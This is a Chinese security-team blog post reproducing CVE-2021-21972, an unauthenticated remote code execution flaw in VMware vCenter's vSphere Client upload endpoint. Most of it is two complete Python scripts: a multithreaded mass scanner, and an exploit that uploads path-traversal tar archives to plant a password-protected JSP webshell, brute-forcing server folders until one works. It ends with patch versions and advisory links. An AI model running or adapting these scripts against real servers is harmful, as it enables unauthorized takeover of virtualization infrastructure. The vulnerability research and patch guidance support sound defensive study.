CVE-2021-21972:vSphere Client RCE复现

  • A+
所属分类:安全文章


上方蓝色字体关注我们,一起学安全!
作者:daxi0ng@Timeline Sec
本文字数:3676
阅读时长:4~6min
声明:请勿用作违法用途,否则后果自负


0x01 简介
vSphere是VMware推出的虚化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。

0x02 漏洞概述

vSphere Client(HTML5在vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放443端口的服务器向vCenterServer发送精心构造的请求,从而在服务器上写入webshell,最终造成远程任意代码执行。


0x03 影响版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n


0x04 环境搭建

环境搭建可参考

https://blog.csdn.net/z136370204/article/details/111719373


0x05 漏洞复现


1、首先使用POC来测试是否存在该漏洞

#-*- coding:utf-8 -*-banner = """                @time:2021/02/25 CVE-2021-21972.py                C0de by NebulabdSec - @batsu                   """print(banner)import threadpoolimport randomimport argparseimport http.clientimport urllib3import base64import requestsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)http.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"def get_ua():    first_num = random.randint(55, 62)    third_num = random.randint(0, 3200)    fourth_num = random.randint(0, 140)    os_type = [        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',        '(Macintosh; Intel Mac OS X 10_12_6)'    ]    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']                  )    return uadef CVE_2021_21972(url):    # proxies = {"scoks5": "http://127.0.0.1:1081"}    proxies = {        "http": "http://127.0.0.1:8080",        "https": "http://127.0.0.1:8080",    }    headers = {        'User-Agent': get_ua()    }    # data = base64.b64decode(Payload)    # files = {'uploadFile': open('all.tar', 'rb')} #linux    files = {'uploadFile': open('test.tar', 'rb')} #win    targetUrl = url + TARGET_URI    try:        res = requests.post(url=targetUrl,                            headers=headers,                            files=files,                            verify=False,                            )                            # proxies={'socks5': 'http://127.0.0.1:1081'})        if res.status_code == 200 and "SUCCESS" in res.text:            print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))            # print("[+] Command success result: " + res.text + "n")            with open("存在漏洞地址.txt", 'a') as fw:                fw.write(url + 'n')        else:            print("[-] " + url + " 没有发现CVE-2021-21972漏洞.n")    # except Exception as e:    #     print(e)    except:        print("[-] " + url + " Request ERROR.n")def multithreading(filename, pools=5):    works = []    with open(filename, "r") as f:        for i in f:            func_params = [i.rstrip("n")]            # func_params = [i] + [cmd]            works.append((func_params, None))    pool = threadpool.ThreadPool(pools)    reqs = threadpool.makeRequests(CVE_2021_21972, works)    [pool.putRequest(req) for req in reqs]    pool.wait()def main():    parser = argparse.ArgumentParser()    parser.add_argument("-u",                        "--url",                        help="Target URL; Example:http://ip:port")    parser.add_argument("-f",                        "--file",                        help="Url File; Example:url.txt")    # parser.add_argument("-t",    #                     "--tar",    #                     help="Create tar File; Example:test.tar")    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")    args = parser.parse_args()    url = args.url    # cmd = args.cmd    file_path = args.file    # jsp = args.tar    # if jsp != None:    #     print(jsp)    #     generate_zip(jsp)    if url != None and file_path ==None:        CVE_2021_21972(url)    elif url == None and file_path != None:        multithreading(file_path, 10)  # 默认15线程if __name__ == "__main__":    main()


CVE-2021-21972:vSphere Client RCE复现

这个POC也很简单,上传了一个测试文件

里面内容是test,返回success

即证明存在该未授权上传漏洞


2、使用EXP上传shell

'''Author         : Sp4ceDate           : 2021-02-25 00:18:48LastEditors    : Sp4ceLastEditTime   : 2021-03-10 12:59:59Description    : Challenge Everything.'''import requestsimport osimport argparseimport urllib3import tarfileimport timeimport sys# remove SSL warningurllib3.disable_warnings()# get script work pathWORK_PATH = os.path.split(os.path.realpath(__file__))[0]# init payload pathWINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"# init vulnerable url and shell URLVUL_URI = "/ui/vropspluginui/rest/services/uploadova"WINDOWS_SHELL_URL = "/statsreport/shell.jsp"LINUX_SHELL_URL = "/ui/resources/shell.jsp"# set connect timeoutTIMEOUT = 10# set headersheaders = {}headers[    "User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"headers["Cache-Control"] = "no-cache"headers["Pragma"] = "no-cache"# get vcenter version,code from @TaroballzChenSM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">      <env:Body>      <RetrieveServiceContent xmlns="urn:vim25">        <_this type="ServiceInstance">ServiceInstance</_this>      </RetrieveServiceContent>      </env:Body>      </env:Envelope>"""def getValue(sResponse, sTag="vendor"):    try:        return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]    except:        pass    return ""def getVersion(sURL):    oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)    if oResponse.status_code == 200:        sResult = oResponse.text        if not "VMware" in getValue(sResult, "vendor"):            print("[-] Not a VMware system: " + sURL, "error")            return        else:            sVersion = getValue(sResult, "version")  # e.g. 7.0.0            sBuild = getValue(sResult, "build")  # e.g. 15934073            sFull = getValue(sResult, "fullName")            print("[+] Identified: " + sFull, "good")            return sVersion, sBuild    print("Not a VMware system: " + sURL, "error")    sys.exit()# Utils Functions, Code From @horizon3aidef make_traversal_path(path, level=2):    traversal = ".." + "/"    fullpath = traversal * level + path    return fullpath.replace("\", "/").replace("//", "/")def archive(file, path):    tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")    fullpath = make_traversal_path(path, level=2)    print("[+] Adding " + file + " as " + fullpath + " to archive")    tarf.add(file, fullpath)    tarf.close()# Tool Functionsdef checkVul(URL):    try:        res = requests.get(            URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers        )        print("[*] Check {URL} is vul ...".format(URL=URL))        if res.status_code == 405:            print("[!] {URL} IS vul ...".format(URL=URL))            return True        else:            print("[-] {URL} is NOT vul ...".format(URL=URL))            return False    except:        print("[-] {URL} connect failed ...".format(URL=URL))        return Falsedef checkShellExist(SHELL_URI):    time.sleep(        5    )  # vCenter copy file to web folder need some time, on most test,5s is good    re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)    if re.status_code == 200:        return True    else:        return Falsedef uploadWindowsPayload(URL):    file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}    re = requests.post(        URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers    )    if "SUCCESS" in re.text:        if checkShellExist(URL + WINDOWS_SHELL_URL):            print(                "[+] Shell exist URL: {url}, default password:rebeyond".format(                    url=URL + WINDOWS_SHELL_URL                )            )        else:            print("[-] All payload has been upload but not success.")    else:        print("[-] All payload has been upload but not success.")def uploadLinuxShell(URL):    print("[*] Trying linux default payload...")    file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}    re = requests.post(        URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers    )    if "SUCCESS" in re.text:        print("[+] Shell upload success, now check is shell exist...")        if checkShellExist(URL + LINUX_SHELL_URL):            print(                "[+] Shell exist URL: {URL}, default password:rebeyond".format(                    URL=URL + LINUX_SHELL_URL                )            )        else:            print(                "[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."            )            uploadLinuxRandomPayload(URL)    else:        print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")        uploadWindowsPayload(URL)def uploadLinuxRandomPayload(URL):    for i in range(0, 120):        """        vCenter will regenerate web folder when vCenter Server restart        Attempts to brute force web folders up to 120 times        """        archive(            LINUX_RANDOM_PAYLOAD_SOURCE,            "/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(                REPLACE_RANDOM_ID_HERE=i            ),        )        file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}        re = requests.post(            URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers        )        if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):            print(                "[+] Shell exist URL: {url}, default password:rebeyond".format(                    url=URL + LINUX_SHELL_URL                )            )            print(                "[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(                    REPLACE_RANDOM_ID_HERE=i                )            )            exit()def banner():    print(        """   _______      ________    ___   ___ ___  __      ___  __  ___ ______ ___    / ____\ \    / /  ____|  |__ \ / _ \__ \/_ |    |__ \/_ |/ _ \____  |__ \  | |     \ \  / /| |__ ______ ) | | | | ) || |______ ) || | (_) |  / /   ) | | |      \ \/ / |  __|______/ /| | | |/ / | |______/ / | |\__, | / /   / /  | |____   \  /  | |____    / /_| |_| / /_ | |     / /_ | |  / / / /   / /_   \_____|   \/   |______|  |____|\___/____||_|    |____||_| /_/ /_/   |____|                Test On vCenter 6.5 Linux/Windows                VMware-VCSA-all-6.7.0-8217866                VMware-VIM-all-6.7.0-8217866                VMware-VCSA-all-6.5.0-16613358                         By: Sp4ce                                                                            Github:https://github.com/NS-Sp4ce                                                        """    )if __name__ == "__main__":    banner()    parser = argparse.ArgumentParser()    parser.add_argument(        "-url",        "--targeturl",        type=str,        help="Target URL. e.g: -url 192.168.2.1、-url https://192.168.2.1",    )    args = parser.parse_args()    url = args.targeturl    if "https://" not in url:        url = "https://" + url        if checkVul(url):            sVersion, sBuild = getVersion(url)            if (                int(sVersion.split(".")[0]) == 6                and int(sVersion.split(".")[1]) == 7                and int(sBuild) >= 13010631            ) or (                (int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)            ):                print(                    "[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."                )            sys.exit()        else:            uploadLinuxShell(url)    elif checkVul(url):        sVersion, sBuild = getVersion(url)        if (                int(sVersion.split(".")[0]) == 6                and int(sVersion.split(".")[1]) == 7                and int(sBuild) >= 13010631            ) or (                (int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)            ):            print(                "[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+."            )            sys.exit()        else:            uploadLinuxShell(url)    else:        parser.print_help()


CVE-2021-21972:vSphere Client RCE复现


CVE-2021-21972:vSphere Client RCE复现


3、也可使用evilarc项目自行生成所需要的跨目录tar包
example:上传test.txt,内容为dxtest


CVE-2021-21972:vSphere Client RCE复现


0x06 修复方式


vCenter Server7.0版本升级到7.0.U1c

vCenter Server6.7版本升级到6.7.U3l

vCenter Server6.5版本升级到6.5 U3n


参考链接:
https://www.vmware.com/security/advisories/VMSA-2021-0002.htmlhttps://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py(POC)https://github.com/NS-Sp4ce/CVE-2021-21972/blob/main/CVE-2021-21972.py(EXP)

CVE-2021-21972:vSphere Client RCE复现

CVE-2021-21972:vSphere Client RCE复现
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):CVE-2021-21972:vSphere Client RCE复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: